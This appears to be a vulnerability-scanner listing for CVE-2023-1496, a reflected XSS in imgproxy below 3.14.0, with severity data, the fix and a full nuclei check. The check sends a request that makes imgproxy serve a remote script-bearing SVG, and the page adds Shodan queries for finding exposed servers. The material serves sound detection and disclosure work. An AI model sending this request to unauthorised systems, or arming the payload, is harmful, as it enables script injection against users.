CVE-2023-1496· evilmartians / imgproxy· CWE-79
Imgproxy < 3.14.0 - Cross-site Scripting (XSS)
mediumseverity
5.4CVSS score
1.6%likelihood of exploitation, next 30 days
76%of all CVEs are less likely
Readycheck to confirm it
Cross-site Scripting (XSS) - Reflected in GitHub repository imgproxy/imgproxy prior to 3.14.0.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
Fix
Upgrade to Imgproxy version 3.14.0 or later to mitigate this vulnerability.
How to confirm it
Send: GET {{BaseURL}}/unsafe/plain/https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg
Positive when: contains "alert(document.domain);" and "<?xml version" and "<script type=\"text/javascript\">" AND not contains in header "Content-Security-Policy: default-src 'none';" AND status 200Run it with nuclei: nuclei -id CVE-2023-1496 -u <target>
The full check
id: CVE-2023-1496
info:
name: Imgproxy < 3.14.0 - Cross-site Scripting (XSS)
author: pdteam
severity: medium
description: Cross-site Scripting (XSS) - Reflected in GitHub repository imgproxy/imgproxy prior to 3.14.0.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
remediation: |
Upgrade to Imgproxy version 3.14.0 or later to mitigate this vulnerability.
reference:
- https://github.com/imgproxy/imgproxy/commit/62f8d08a93d301285dcd1dabcc7ba10c6c65b689
- https://huntr.dev/bounties/de603972-935a-401a-96fb-17ddadd282b2
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2023-1496
cwe-id: CWE-79
epss-score: 0.01585
epss-percentile: 0.75788
cpe: cpe:2.3:a:evilmartians:imgproxy:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: evilmartians
product: imgproxy
shodan-query:
- "Server: imgproxy"
- "server: imgproxy"
tags: cve,cve2023,huntr,imgproxy,xss,svg,evilmartians,vuln
http:
- method: GET
path:
- "{{BaseURL}}/unsafe/plain/https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "alert(document.domain);"
- "<?xml version"
- '<script type="text/javascript">'
condition: and
- type: word
part: header
words:
- "Content-Security-Policy: default-src 'none';"
negative: true
- type: status
status:
- 200References
- https://github.com/imgproxy/imgproxy/commit/62f8d08a93d301285dcd1dabcc7ba10c6c65b689
- https://huntr.dev/bounties/de603972-935a-401a-96fb-17ddadd282b2
Use this check only on systems you are authorised to test. Where the data comes from